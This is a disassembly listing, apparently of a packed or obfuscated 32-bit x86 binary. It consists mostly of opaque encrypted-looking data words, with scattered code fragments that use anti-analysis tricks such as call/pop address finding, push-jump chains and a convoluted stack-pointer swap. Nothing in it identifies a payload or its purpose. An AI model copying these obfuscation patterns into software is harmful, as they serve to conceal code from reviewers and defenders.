0D97AE902h, 56BAB1C8h, 1EB30BB9h, 0D42DB77Ch, 5019F9DCh dd 0DF9C3826h, 0DD85A175h, 18A39BB0h, 66693A34h, 5EE5386Ah dd 565D64DBh, 0AEEB7632h, 5657B130h, 136CB6D9h, 56D5B0CAh dd 0B8503A32h, 0D573FF7Ah, 18F25FB0h, 61D4A534h, 0D5BEF6BBh dd 5A22B2CAh, 1F8133F5h, 56D7B77Ch, 5301B132h, 2B7749B1h dd 0AEC7326Dh, 5946C532h, 0FFAFF784h, 5657B1B2h, 0D5EBB747h dd 5E3EB4DAh, 56EA4E1Fh, 539D3232h, 0DDE9BAD9h, 18149BA8h dd 65AA3A34h, 56571869h, 42DE3132h, 96567731h, 7C68B237h dd 1E73FF7Bh, 0DFB2F6BBh, 0B6BD75h, 908569C5h, 96D469C5h dd 7C29B237h, 1ED3FF7Bh, 0DFE2F6BBh, 689EBD75h, 10307101h dd 23DD1933h, 0D568B213h, 57ECB3F2h, 5DABB132h, 0DCDCC5E9h dd 1B94ECA8h, 57963134h, 11337231h, 5A1A383Ah, 8E59A5D9h dd 56574E17h, 0A16D9A32h, 541532EAh, 0DFE2F6BBh, 378DBD75h dd 0DDEF72FBh, 0AA9932DEh, 56AE5952h, 0D70DB132h, 18F9E0D8h dd 0BC6F3A34h, 65ECFF7Ah, 564A32FBh, 5678353Dh, 51D6B132h dd 0A9A2C4CDh, 0BE07B947h, 56ABB041h, 9156B441h, 0DF085A26h dd 238A4D77h, 5ECF4E3Eh, 0AB586CDh, 59AEB133h, 565726B0h dd 0AAEE3A32h, 0D4DAB60Bh, 56EAB1BEh, 0D589F4CDh, 22BAB54Dh dd 5A22323Ah, 0BDACC532h, 0A9A8093Ch, 53124ECDh, 0A5D5B132h dd 0D5295A99h, 2270A14Dh, 46C5323Dh, 174CC434h, 0DDAAF6B9h dd 15BCBD6Dh, 0DDAFF6B9h, 6F3EBD6Dh, 0DDEEF6B9h, 94EBD6Dh dd 4AFC43Ah, 7D59E6B9h, 3ADA167h, 5A083A26h, 0BD286B19h dd 443EEB37h, 0DDEEF6B9h, 95EBD6Dh, 53513236h, 78E43B31h dd 292DB77Ah, 5722B222h, 0DF729A73h, 0EED4B06Eh, 0A9154ECDh dd 5675B48Bh, 0BF114232h, 0A9A24E64h, 466C7853h, 0BADCE432h dd 365775B1h, 56D5B1DAh, 0BC6BEB32h, 503BE20Eh, 1E500BB9h dd 9F6EB77Ch, 59AE8EB1h, 565720B6h, 0A9AC3A32h, 232ABD47h dd 0DE02E13Ah, 2575B132h, 427D3237h, 13D453D9h, 5ADB4ECEh dd 0A95FC4CDh, 56DA5905h, 3CA7B132h, 6F16F4B9h, 0A916C335h dd 29394D77h, 5E29B136h, 56A2CEB1h, 58BCB346h, 0A9544E8Ah dd 56D008CDh, 0FD19B132h, 29F67AD9h, 59CEB422h, 504DCEB1h dd 0DDEFA047h, 9DCB575h, 0DDB65A3Eh, 95EB575h, 0DDF95A3Eh dd 9FEB575h, 52E59A3Eh, 0D5585AB1h, 23ADA14Dh, 8F7CF033h dd 57AAEDBBh, 0A92A4E8Ah, 56EF08CDh, 0FD86B132h, 9FDB36D9h dd 35DB9F0h, 0DDCE5DB9h, 136CB977h, 6DA3C33Eh, 55A2A177h dd 0AFE95ACAh, 9F14B1D9h, 3BABDF0h, 92DE5DB9h, 5646D1CEh dd 0C57B132h, 2B95BB3h, 9FE6B77Ch, 0B636A01h, 0BCCF3ACEh dd 0D5BCFF7Ah, 3229B10Dh, 23518EB1h, 42903237h, 292840D9h dd 5EA1B136h, 56E6CEB1h, 5E9EB346h, 0D546F4CDh, 8DB6A5F5h dd 53BECEB1h, 29D4BE46h, 47DEB722h, 52923A73h, 0BDE6EEB9h dd 52323A2Fh, 0BDB6EEB9h, 521A3A21h, 7DA2EEB9h, 0BDD4B56Dh dd 46D43237h, 17D4C431h, 0A636819h, 0A9CDB033h, 0EF454ECDh dd 565DB137h, 0C1451AC1h, 0AA123A53h, 7FB72FBh, 56D55961h dd 0D7B0B132h, 18212CD8h, 54203C34h, 0EE5BFF7Bh, 56AEB156h dd 565763DAh, 6DA03A32h, 55C15AF3h, 97D1B579h, 1D76A640h dd 247B8A22h, 0BD5F5A30h, 0DBBC5A26h, 18E009A8h, 0BD784E34h dd 884F3C3Ah, 0A9ECFF88h, 0E2CEAE1h, 0BA31E4F1h, 565DB1DAh dd 0BC2FEB32h, 5019E5DEh, 54113C52h, 0DDD3FF7Bh, 5163B977h dd 0DF79F4B9h, 1331B575h, 5A1A3822h, 0DFBAF4B9h, 9F36A175h dd 36ABA1F0h, 592C34F4h, 3EADB77Ah, 0FE62C228h, 7F1304CDh dd 0D3D0B77Ah, 50E5CE52h, 0DB0561CDh, 18E29FB8h, 862AE034h dd 78683C68h, 5973FF7Bh, 0DDB6F185h, 6752E3EAh, 0DF6DB268h dd 1E5050B0h, 51C3D034h, 0E852h, 815A0000h, 4E555DEAh dd 828B5206h, 64807E1h, 0C64E6DB9h, 5AE1F741h, 303905h dd 0FFFF2500h, 82897FFFh, 64807E1h, 51C3595Ah, 0E852h dd 815A0000h, 4E558DEAh, 0E8C88B06h, 0FFFFFFBBh, 0F1F7D233h dd 595AC28Bh, 8BC08BC3h, 9E858DC0h, 0FF064E4Bh, 0C18B66D0h dd 5556858Dh, 8589064Eh, 6481029h, 5586858Dh, 8589064Eh dd 6480CE1h, 0B8h, 0FC00B00h, 4784h, 0F985C600h, 5606480Fh dd 0C530DF68h, 0A9B5FFA9h, 8D064829h, 4B7F6085h, 50D0FF06h dd 11C18D8Dh, 6A510648h, 10006804h, 0B5FF0000h, 6481345h dd 0BD8BD0FFh, 6481345h, 813C7F03h, 0F8C7h, 2447C700h dd 60000020h, 1A319D8Dh, 38B0648h, 840FC00Bh, 5, 4389008Bh dd 4CF6B904h, 8D8D0023h, 64E56D7h, 0CEA7E881h, 8D8965B6h dd 6481405h, 85C7F28Bh, 6483025h, 5FC0h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Dh, 0DC35646h, 4F2B03C0h dd 7BF30539h, 0E1BD09DEh, 5306481Ch, 28F5B58Bh, 0C75A0648h dd 482AD985h, 6, 0C2B70F00h, 2FB5B5FFh, 6A0648h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 3BB11FC3h, 89AAB1ACh, 48127595h, 7195FF06h, 306480Eh dd 48183D9Dh, 0FF006A06h, 48092D95h, 0EBC08B06h, 0E5617E0Dh dd 4462B871h, 10BF38B6h, 8D8D2A01h, 64E579Eh, 6E9h, 6F513E00h dd 8908ABD0h, 4814058Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 488D10FBh, 331D16C5h dd 7519D09h, 0D6810648h, 58B146CCh, 302585C7h, 618C0648h dd 0BD330000h, 64811B1h, 7AEBCE81h, 85C7732Eh, 6482AD9h dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 4AC35343h dd 843C03C3h, 0C3BF0FF3h, 13A19D89h, 0B5FF0648h, 6480C39h dd 0DB9958Bh, 95FF0648h, 6480E71h, 6860Fh, 9D8B0000h, 6480329h dd 95FF006Ah, 648092Dh, 7BEBC08Bh, 6D589F8Bh, 91A0B7F4h dd 0CD24E362h, 0CA6D7E2Dh, 13E9819Fh, 4EEBC7E4h, 0BF724BEDh dd 0C21AE6Ah, 0F53FA171h, 0BF08E885h, 0AE789A0h, 0B18D1B5Bh dd 75F730B9h, 55EDC8FCh, 88082B2Eh, 0BD9E786Eh, 5BCA4149h dd 0E1EA5BDBh, 0B56B026Bh, 86D5DAF1h, 0E54CFCD9h, 7382D57Eh dd 27BD04B8h, 0C6FCCB68h, 1AF848FAh, 0D4A2D0B0h, 0E669CC6Eh dd 49008DD8h, 3B8546AEh, 6DB04D10h, 0E8CEBA1Ch, 6, 8FEA4169h dd 0D3812A27h, 64391B6Bh, 3870F58h, 0F000000h, 0C081DEB7h dd 6B85h, 10E8h, 44DEE800h, 0BA7F7122h, 88535E4Fh, 98D58CF3h dd 0B9BD2BBAh, 5B06480Bh, 0BEh, 30148B00h, 8E8h, 1F0B5F00h dd 9D562C8Bh, 6870FC4h, 89000000h, 48288DB5h, 0EA815F06h dd 38EEEDACh, 5E9h, 4C7FB300h, 0C281DB1Eh, 4FD8813Ch, 3FD78166h dd 1FEA81DDh, 57088272h, 14E8h, 84F0BD00h, 9AF3EE67h, 9CDEB088h dd 6F7DD7CCh, 97FBECECh, 8E87Dh, 9D240000h, 576C929Ah dd 595BB54Fh, 8B66525Bh, 30048FFBh, 819D8B53h, 5B064813h dd 0F02EE83h, 1980h, 14E900h, 33680000h, 0C973E9A1h, 50C58AB8h dd 0B8359A7Eh, 0F120F9E6h, 4E4E095Fh, 0C0E98166h, 9CFE81E9h dd 0FFFFF95h, 1A85h, 8B665100h, 32E95BFBh, 43000000h, 0A03BF5FDh dd 0BF7080F5h, 793A498h, 0E9424B9Dh, 11h, 0E76E71A3h, 64FC3159h dd 3BA0C16Ch, 0F5EF056Dh, 0FF1FE9B5h, 0F81FFFFFh, 3FD59EBh dd 2508EB16h, 4A25ADh, 0E9000000h, 0BB6h, 4E5AF068h, 0EF60E906h dd 0D368FFFAh, 0E9064E5Bh, 0FFFAEF56h, 4E5D4E68h, 0EF4CE906h dd 8068FFFAh, 0E9064E5Eh, 0FFFAEF42h, 4E603E68h, 0EF38E906h dd 4768FFFAh, 0E9064E62h, 0FFFAEF2Eh, 4E639B68h, 0EF24E906h dd 0A9EAFFFAh, 4D55737Fh, 0D9DBC5F5h, 5C434D0Dh, 0CFCAD484h dd 47205D1Dh, 0AE22FAA7h, 34A46420h, 0B931EBAAh, 0D4D891Fh dd 0C55215BDh, 2073D426h, 11778C41h, 810FE7D5h, 32B5D919h dd 759A7F65h, 17B73E80h, 7C05B571h, 4B971151h, 0D6C93805h dd 0E728AA2Bh, 8D13BB05h, 29AD317h, 0A765246Ah, 0DEA5D29h dd 0E8759AD9h, 4C1F456h, 8F52CBE2h, 483FBD0Fh, 73D2CB97h dd 14B688D0h, 9E3871EAh, 4240h, 65907700h, 3C2A9D31h, 998F5262h dd 79D289C7h, 0B473D272h, 3B5917F5h, 0AE2CA27Ah, 2DBF3DE7h dd 379C92B2h, 0AC1BB3E3h, 73D272CFh, 338CFD85h, 21EF0992h dd 3876D69Fh, 38CE98AAh, 0DF329Eh, 77C50000h, 2E635611h dd 1964A0E2h, 2FFD4438h, 9EDCBE66h, 656BB1F0h, 0DE990F91h dd 0F3CEA6E2h, 99DCBE8Fh, 656BAFF5h, 0F5E52167h, 9A7EAB32h dd 80445A75h, 39E3A2ECh, 0E8A429B3h, 7E7CB8EEh, 0C4E88CB7h dd 0FB3D622Ch, 0D78AEBF5h, 2E93D96Fh, 8C16CF86h, 218F52E2h dd 2752D39Fh, 0AFEC5B73h, 8A891C56h, 0ACF29C30h, 15586268h dd 0FFB9E77Fh, 0FA92C223h, 5BA4E816h, 0DF0D8C12h, 199D0393h dd 9F1A84C9h, 68F3E04Dh, 0A52B022Ah, 96608h, 0CC1C8700h dd 5A9E028Ch, 0D20E8816h, 69ABF09Eh, 0E23A6761h, 52B2F3EEh dd 0DBC5F557h, 45430FDBh, 0CAD48440h, 5810D4h, 251EFF68h dd 0BEFB73D4h, 96A08179h, 647F6A09h, 9613BB32h, 69C3AB6h dd 17F68EC2h, 2A7E940Fh, 0FFDEE0EEh, 0D4054E1h, 0FB659028h dd 9A7FAF4Ch, 16F04A75h, 6259C97Eh, 62FC8F52h, 90F6986Ch dd 11446654h, 0D272FB54h, 0A29CBC73h, 38C4E600h, 9F4C9Eh dd 776B0000h, 72B2E911h, 0FDBCDA90h, 0D3FAA12Fh, 0D4759A7Bh dd 8305AD75h, 31A447E5h, 0BF33F7ADh, 22E2B9E7h, 0B97D23ABh dd 13477233h, 0EBDACC7Bh, 56778F52h, 84902520h, 3F653B4Bh dd 0D05119FBh, 6ADDF1A5h, 891CB4DEh, 8709AD3Fh, 0F68EC21Ah dd 0B408E95Eh, 53ED7598h, 0D735741Ah, 2A9C1B76h, 0A805CB02h dd 883h, 0A921E3A4h, 33BF7B2Fh, 0BB371395h, 24E861Dh, 8BC70584h dd 3071911Eh, 0BAFAE4D4h, 2164626Eh, 0B3E9F7FBh, 4B637B77h dd 0D424FF9Ch, 569F1A73h, 9ED20A77h, 626EAAF0h, 0D51177CDh dd 0FCBDFC1h, 940A8846h, 6E991850h, 0DD25A2CAh, 388F5254h dd 0F4AA28A6h, 0FE58880Ch, 0ACED4F2h, 0A3793C62h, 0F38F742Ah dd 0FE081847h, 0D1B7506Eh, 653BA515h, 3830DA1h, 616FBBFBh dd 6F8FD5Fh, 94478D41h, 194640F4h, 9566C830h, 0C08E6897h dd 5319C3C2h, 0D07BB591h, 0E780BEEEh, 9D7565A1h, 626BAFF3h dd 0CAE2267Ch, 541ADEC4h, 0D48B430Ah, 0F494E17Eh, 0B15668B0h dd 25A32FEBh, 7035BB7Fh, 0CA7D1145h, 0F1A30A3Ch, 5320A73Fh dd 0B60D230Ah, 932DA114h, 772B56DFh, 3B2AE85Fh, 0BD0FF7EBh dd 3A96483Fh, 89D10B6Bh, 80E915B7h, 4543E681h, 72000004h dd 0D7E2F1C6h, 8A5C0BA3h, 418F526Fh, 0C18F4B5Fh, 70E5B235h dd 0BE0073D2h, 5BE599DCh, 0FF2B6D33h, 0CCD2C2F6h, 91561FCDh dd 0F2E0A27Ch, 5F772B56h, 0CD8D9C7h, 0A6777C4Eh, 43F2DCA2h dd 841CF4F9h, 0B0A77EA5h, 5518EA59h, 14AFE690h, 0FBF14B08h dd 0FFA10F3Ah, 5B656BB7h, 94BF7F1Ch, 72439AF4h, 0C13C4C5Ch dd 9F379173h, 592C1728h, 5C70CA0Eh, 0F946C32h, 5D436B35h dd 16CA8347h, 77D61288h, 856DF42Eh, 8A30AC0h, 39000007h dd 0A422AE7Eh, 2AB424FCh, 923CBC68h, 1987CB0Dh, 910C4C98h dd 57B5F414h, 0E9397D1Bh, 66BEE7E1h, 0F2366C6Ah, 1C6EEFEh dd 73D42270h, 90231495h, 2A9D3165h, 8F5254C4h, 5F6D66C7h dd 0AB9AD6A3h, 5C12AC22h, 1690683Eh, 0F7518BF6h, 7105E7F9h dd 67816ED9h, 0C58273D2h, 73D26734h, 3F810FD1h, 0DADAF8B6h dd 4242400Eh, 67FA9B4Ch, 4D1F73D2h, 0E450EDE3h, 0E64BD8EBh dd 764894EEh, 0D97109EDh, 0D2A3816Eh, 34C58273h, 0D173D2A3h dd 0B63F810Fh, 61F99896h, 0D2A309E6h, 1B52EC73h, 92096994h dd 297E1C52h, 0BA30DEFh, 8CC10185h, 882B73F4h, 7CCE891Ah dd 424C527Ch, 9AB8F485h, 0ED4F1175h, 0D8917EFh, 88CD9FDDh dd 3D788006h, 75D7E9E7h, 0A7E9FD47h, 10AA20E0h, 16B18F5Dh dd 9F04B470h, 98700E63h, 2CFC9h, 6590EC00h, 6D059D31h dd 9A7F1DFAh, 4E66F875h, 9A7FF899h, 0A431D75h, 6816F25Dh dd 0EA5DF58Fh, 73D4260Dh, 6F1F56E8h, 0AAD7B9DDh, 51507E72h dd 0B517D3B7h, 268C4007h, 0E7BD73D4h, 0F1734223h, 25ABFB99h dd 5D688h, 5C8CF700h, 0EA2E721Ch, 62BEF8E6h, 0F93B606Eh dd 72AAD7F1h, 0C222437Eh, 4B5505C7h, 0B5D39F4Bh, 3AA414F0h dd 9028A064h, 21AE4FF8h, 2E4B73D4h, 0FB6590E9h, 9A7FAF4Ch dd 5A3BAC75h, 0BF759A7Fh, 73DD6F2Dh, 1641EC5Bh, 1EA08F68h dd 0B1732876h, 5E44423Ch, 0D2C8D69Ah, 643A5816h, 94082AA0h dd 0A4CF4AB5h, 521BF344h, 752BBCF2h, 4DD3178Dh, 0BF339D55h dd 0D30C06E7h, 0A02EFEBBh, 44693F1Eh, 0F65252C8h, 0EAEFE6F8h dd 9E3E87D8h, 1F772h, 0E9810500h, 9A7F917Eh, 46B4DB75h dd 0FA762766h, 4502AA34h, 759A02B4h, 0D8C68F51h, 0BC4806C2h dd 2D2A324h, 9537759Ah, 2A94601h, 0F24C759Ah, 9CDD3FBh dd 0A3673B65h, 66DA932Dh, 5F85008Eh dd 30646F16h, 1B9A049Ch, 0AFDB8CC1h, 428F5210h, 0D5CAD4F8h dd 3FE45A13h, 73D21062h, 8A0B2525h, 10A475F2h, 4A5173D2h dd 34FAC48Ah, 2AB4BAAh, 6F409265h, 9E417D66h, 4AEB9E38h dd 8A000000h, 9D316590h, 636AB2F3h, 624CDA8Dh, 57E98F52h dd 72E9A219h, 652473D2h, 0F7AB29A7h, 72A14EF9h, 0FA4473D2h dd 22025218h, 0B53470Ch, 7F3A6435h, 0D89D2FADh, 38C4B7B3h dd 8344DC9Eh, 73D27EF2h, 0A900B517h, 0AFh, 0D511774Ch dd 6CB8F9E7h, 81F1F948h, 68FF0927h, 752BA965h, 79D3BB1h dd 0F5D88FC3h, 0F2759A8Eh, 0BE3CF4ACh, 0EF498B10h, 66A2F8E6h dd 0DC808B6Ah, 2FA30FB8h, 0D6B88F54h, 0E37A70ACh, 0EB686416h dd 5ECCAECAh, 0CAC48953h, 3C45C70h, 73D05F72h, 0E8803597h dd 0A921FBA6h, 0DBBA622Fh, 46277D6h, 183BB238h, 49000004h dd 0B4D29E4Eh, 3AA414ECh, 0A22CAC78h, 29B73BFDh, 813CBC68h dd 478504E4h, 0D9098D0Bh, 568EF791h, 0E2267C1Ah, 31B6DEEEh dd 73D41F60h, 7733E485h, 69ED20Ah, 8AC31998h, 325A9E04h dd 7F4C2D9Ah, 17A9759Ah, 774DE25Eh, 60C1D511h, 89B02B7Ch dd 29E5E8F9h, 950DF5ABh, 36FFF35Dh, 0A73F570Bh, 8CBB580Fh dd 8C5E759Ah, 986E1CC9h, 9C6D8F52h, 0D4CB1C38h, 210C5E1Ch dd 159176E8h, 5B258735h, 8CC29C12h, 0D20344D7h, 2AEEB573h dd 0AE30BE6Ah, 9B008ECCh, 5E72365h, 7FB1ED57h, 7CB292D4h dd 395D010Ch, 1A17F08Eh, 2E12F389h, 23E7BD63h, 52AADFC2h dd 0B5D9631Bh, 5ECDAA1Dh, 0AA28759Ah, 23BD33F5h, 9F500C41h dd 4E961F81h, 9737BE00h, 198735F1h, 3DDA8D83h, 0D8759A7Fh dd 4D34A406h, 0DE761E42h, 7FF08146h, 4B15759Ah, 6D214502h dd 72CC8F52h, 6DCA877Ch, 810773D2h, 0F891745h, 56A35250h dd 2D8FD3B4h, 3C72DAAFh, 655B8397h, 4A2B9C34h, 0AF73D266h dd 0DB078F1Dh, 1982CB95h, 9E38DCEDh, 3147h, 65906E00h dd 24059D31h, 5B00D7CCh, 0F899DED3h, 1D759A9Dh, 0F5720A43h dd 8F528055h, 0BB606EF0h, 73D290E6h, 0E587B9A1h, 9E3826D9h dd 10073h, 11770200h, 0B8F9E7D5h, 47A305EFh, 3BAC6C33h dd 759AFA5Ah, 0E1432DBFh, 0F0B7EDEBh, 0ECD37391h, 0EDE34DA6h dd 0D7137719h, 6EAAF09Eh, 4612BD62h, 8B15759Ah, 13165D0Eh dd 7929B698h, 118FD19Fh, 99054894h, 0D8BC703h, 0FD396F97h dd 1EC9EDFFh, 759ABB71h, 6268CA94h, 0C5477883h, 60B9D79Bh dd 17F69E78h, 0C072BDC0h, 5A32BB91h, 529C39EDh, 224A148Fh dd 0E1EF3D7Ch, 5BDA96DFh, 99680C30h, 0CFF2CCBCh, 552BA2B1h dd 1C70CE92h, 90572F89h, 75987003h, 0C2C644E6h, 94764806h dd 0C9139E00h, 429A0781h, 2A58A0E3h, 0DD905E02h, 20Fh dd 25957730h, 0AF23E7BBh, 37BB6721h, 0BE32F2A9h, 74B9110h dd 8C0DED8Ah, 0E761058h, 0B5F09ED2h, 3F65636Fh, 0BFD7F7FBh dd 0D41D6B08h, 2AE38E73h, 0BAD20A77h, 9D41536Bh, 0AB22338Fh dd 0F3C021F1h, 4CF435A2h, 75D73375h, 0B0485E40h, 64A14F4h dd 31659031h, 1B9B059Dh, 0B63F81CFh, 526251F1h, 2F56F48Fh dd 0FEA52BF5h, 73D2722Dh, 7278B8E0h, 0C7F54F54h, 6DF6C814h dd 891B1535h, 9E38C47Dh, 28C97E16h, 0CD73D27Eh, 0FE637A73h dd 12000000h, 0E7D51177h, 0E63B3E0Fh, 62140CF5h, 311CE859h dd 4DFAA37Dh, 759AE6ACh, 0A015F749h, 0F95733Eh, 0F05455CBh dd 4806E0FAh, 9AE2CC93h, 0DEC5CB75h, 4F847185h, 0BD1FD21Ah dd 0A628AD3Fh, 0DCB424E0h, 42694C0Dh, 0B23B2760h, 3CB2762Ch dd 27602668h, 4B460C94h, 7664C639h, 6F9A6154h, 6224A3CBh dd 4F8F5273h, 934FDFDh, 3EA94155h, 73D26C51h, 6C049552h dd 5FE173D2h, 0A910FD1h, 55ED83CAh, 6A926CBDh, 1A3017DEh dd 0D253BC5Dh, 0CE875973h, 1CF2D019h, 0BE321389h, 0EF8C3B86h dd 0A7598F1h, 0E1AC55B0h, 8D2CC81h, 0AD7F3A64h, 1AE6A32Dh dd 8F0D4385h, 9D7FD905h, 2AA4EF30h, 4A92702h, 0BBh, 7179ABECh dd 0FBF73357h, 430FDBDDh, 0CA865E45h, 531FCDCCh, 0F8B95926h dd 6222AC2Ch, 0E9AC2AA6h, 8B11BF33h, 13BB034Fh, 0D41CC754h dd 8E472273h, 9ED20A77h, 626EAAF0h, 0D51177CDh, 883E0FE7h dd 60027845h, 0A8FEE0D5h, 7A856C6Ch, 7E16AEC6h, 5DA09BAFh dd 0DB985E95h, 759AEB3Ah, 9F480DDFh, 8F6882B4h, 0BDE38B55h dd 489411E5h, 90DEB802h, 0B2B24304h, 0F55773D4h, 0EEECA22Bh dd 527C7CB8h, 1DC2884Ch, 0C7396ACFh, 81102E3Eh, 6EC4AAA0h dd 87CE2E03h, 15458107h, 9BD1158Bh, 23A4A6FDh, 3FBF3A52h dd 54B15B7h, 0C85F51B1h, 3C5A16D2h, 812CA266h, 3, 77BC8B54h dd 0F09EDC0Ch, 62606EAAh, 0D5F3F923h, 5D7B71D1h, 0C4C2885Ch dd 4B4907C5h, 0B0DE9C54h, 26A42AF6h, 5B28A662h, 81E18951h dd 4C1h, 4E98300h, 31240C33h, 0C33240Ch, 89565C24h, 4C681E6h dd 83000000h, 348704EEh, 2C895C24h, 0E2895224h, 4C281h dd 0EA830000h, 24148704h, 241C895Ch, 599DBB53h, 8956064Eh dd 5EF589DEh, 215B685Bh, 24890000h, 24048124h, 4, 8B8505Bh dd 1000000h, 8B2889D8h, 0C4812404h, 4 db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ebp add esp, 4 jmp loc_54DD7E ; --------------------------------------------------------------------------- db 0C0h, 0B8h, 7Bh dd 3064E64h, 0FE0FFC5h, 310F5185h, 5A7BAB37h, 661EED76h dd 45338061h, 0B24336EEh, 7009355Ah, 1128F07Fh, 0E01C7598h dd 1343F52Ch, 8D10BCCAh, 991C461Fh, 1000C959h, 9B4C8074h dd 160D69F2h, 9B76C63Ch, 0E863FC20h, 0Ch, 0C5FC20CEh, 0E00F04D2h dd 3F87B761h, 5FF08B66h, 16840Fh, 0FE80000h, 0C6000000h dd 64746DD8h, 2EE5464h, 1BC8EA10h, 5BF88578h, 637FC781h dd 0DA8B0000h, 18B3BAh, 0DCB96600h, 0E9078B71h, 12h, 0DD662223h dd 9616CCCDh, 7DA17FBEh, 9D210149h, 0C0812135h, 4A4274BCh dd 6CB1DE81h, 0E8817AA1h, 7CAC9C71h, 1DF1C081h, 0BE97ED1h dd 69000000h, 97880758h, 0D5459E0h, 81508813h, 703A90F3h dd 0E9078F37h, 11h, 0A46C9931h, 460AE877h, 0D5C0AFB9h dd 0FDC3EC74h, 2EF8375h, 4FC9BF0Fh, 0EA81F54Fh, 1, 0FF8B850Fh dd 8166FFFFh, 0EB16EBE9h, 8, 15CD4C00h, 447E94Bh, 1C680000h dd 0E9064E67h, 0FFFA1849h, 4E678B68h, 183FE906h, 0B868FFFAh dd 0E9064E68h, 0FFFA1835h, 44243BBAh, 0CDAFAA48h, 31534ED1h dd 0A4C4DD65h, 2F4D4CE8h, 0EB97AF04h, 881E8A16h, 6A3FF9Dh dd 8E356103h, 637AE98Bh, 72994D0Bh, 42C59B7Ch, 8BF8F985h dd 0D98587FCh, 0DF540DB3h, 1D189B77h, 66241F7Fh, 7F929FEFh dd 21BB7C6Ch, 88E98683h, 98E99622h, 6C7E8ACAh, 5615C17Ch dd 0A942857Eh, 2B35FDBh, 0D9C40000h, 0B1655E76h, 24329BDDh dd 0C14E2976h, 43357856h, 36717C6Ch, 0A8B17CEAh, 9B1079D1h dd 0E59C2358h, 0FF4FE7DBh, 3F8F06C4h, 7799FD4Ah, 0E27EE996h dd 77344540h, 0C3FCD0DFh, 0A7F78E19h, 7389E4E1h, 6B2A80EFh dd 0D21D0B13h, 43D2DD79h, 7B0809A9h, 0FE8F8A29h, 0FB9A30B1h dd 0A5C7C261h, 3F7955ECh, 8D7151BDh, 27CC4CE2h, 0BCE09D20h dd 59D61772h, 2B0A9h, 19189900h, 80852F7Bh, 3413B4E0h dd 0B9B83854h, 2E23CFDBh, 68502142h, 0F3AFCDCCh, 8410706Dh dd 0E9AE6F9h, 51026E65h, 9A28603Eh, 12B47C72h, 0DC7EB971h dd 99437549h, 0DD747C72h, 7298C781h, 0DA9EF07Ch, 0E67C7298h dd 268CEB99h, 0E67AED8Ah, 6925475Ah, 0E8BFCCCDh, 0D6A954h dd 72991152h, 3F3AB97Ch, 0EEADF380h, 0AC5AD518h, 241h dd 868670Eh, 7113169Ch, 0E5878225h, 680809A9h, 0D3B1B03Ch dd 5FDBE3B0h, 0DC623E5Ah, 4AF7A3C1h, 0FA791577h, 0AFC69DFFh dd 729999DFh, 681277Ch, 49DC7EB9h, 91941EB2h, 0AD2B83E0h dd 7C7298FBh, 61F18EE9h, 7C729923h, 20CFBC2Eh, 23BF66Bh dd 0B51DD8CBh, 0AFADE219h, 16F38DBh, 85630000h, 0FE8AFBFEh dd 83127E75h, 0E74F4AE9h, 0F76E2C17h, 334A0E60h, 0E9967624h dd 53FAD441h, 977C6C45h, 49927BFBh, 346F6F4Ah, 273F071h dd 6C95F0B4h, 8483247Ch, 1A1FA5F7h, 0E45B156Dh, 0AB10C22Fh dd 0A971867Dh, 205CDBh, 0B9C70000h, 7549DC7Eh, 7C6C4064h dd 2886F7B0h, 7C6C3F6Ch, 90B46BE7h, 0DBA9036Bh, 0A5B1h dd 0FE85EA00h, 32D791EDh, 89E57624h, 1E9FECEDh, 11631091h dd 0E7FA8795h, 0F87B0966h, 80F98CFDh, 0F2FE9BBAh, 0BC5CF232h dd 86503037h, 76249C9Ch, 189B8F34h, 9D0F6C1Dh, 0FD9F1C15h dd 6DF8A29Dh, 6F352411h, 60F7B07Ch, 1C5C32C9h, 0A87C6EF3h dd 0FAB67CFh, 0B6326E0Ah, 865D0CB3h, 0A45B0C55h, 11436h dd 0BDB43D00h, 2421C3DFh, 0A8B74844h, 5D54DCC8h, 0C2C7633Fh dd 0C349DA6h, 97036160h, 187414F1h, 0A2FE9A9Dh, 0ED660201h dd 9AC484DAh, 4E107C72h, 0EBF985D5h, 0DCD35E48h, 0C041CEAFh dd 484FF4A0h, 0FE858B28h, 75FE8AFBh, 81BA127Eh, 0B2724CDBh dd 67C6C81h, 80591F6Fh, 18677C6Ch, 0DE750C9Bh, 81317747h dd 0F0BF7C6Ch, 6C80E6A2h, 0CBA3F27Ch, 7C6C808Dh, 4DDF5C5Bh dd 8A06ACA5h, 0E07CEBEEh, 74354245h, 5014C2DEh, 847C6C80h dd 0C98F8FFh, 61277760h, 6F7C6C80h, 44F28300h, 75h, 5BEC80C3h dd 2D16E64Ch, 2861F86Fh, 0F220A514h, 7E5CF225h, 7C730B4Eh dd 1C6C1D9Ah, 4AEA8697h, 46612777h, 6F7C72h, 0EB5E183h dd 65EC7A0Bh, 38C9CDEEh, 0AC579D42h, 54DFCBA9h, 0D0502051h dd 0B525A0D1h, 918122F6h, 0F692130Eh, 8B1A199Ah, 0E5DE9AF4h dd 9EEAC139h, 0C6D1A09h, 1A88278Fh, 11h, 0E2DB168Bh, 5B9A8919h dd 2841D0F3h, 43EBEE94h, 0E5FC8520h, 787F0494h, 0FDFC790Bh dd 7F6AFC8Ch, 0F3F6720Eh, 774AF682h, 0F7CA6A06h, 7655EA86h dd 0CCC96B39h, 8956B9BFh, 4C681E6h, 83000000h, 348704EEh dd 0C895C24h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h dd 68240C89h, 1506h, 68243C89h, 64E663Fh, 81240C8Bh, 4C4h dd 3C8B5400h, 4C48324h, 8904EC83h, 0CB89241Ch, 5B085F89h dd 53243C8Bh, 0C381E389h, 4, 8704C383h, 0FF5C241Ch, 83592434h dd 12E904C4h, 36FFFA14h, 0A3BB6F42h, 69F1B8B6h, 0C503064Eh dd 49DBE0FFh, 799346C1h, 0FEEC7BA2h, 0ADD02B91h, 0C76E6BA9h dd 0D3101473h, 0AFC65C9Dh, 7DB635B7h, 41DA76BBh, 13947B93h dd 0DAAF709Fh, 13F53DF3h, 8D755449h, 8AF200D5h, 0A768012Dh dd 9DEC3E1Eh, 2A573F4Ch, 11CF6347h, 256369B6h, 0CF4D2FF0h dd 0D1D142D4h, 20E1203h, 3F9C7A0Eh, 51DC1CDFh, 0E0AD7E5Fh dd 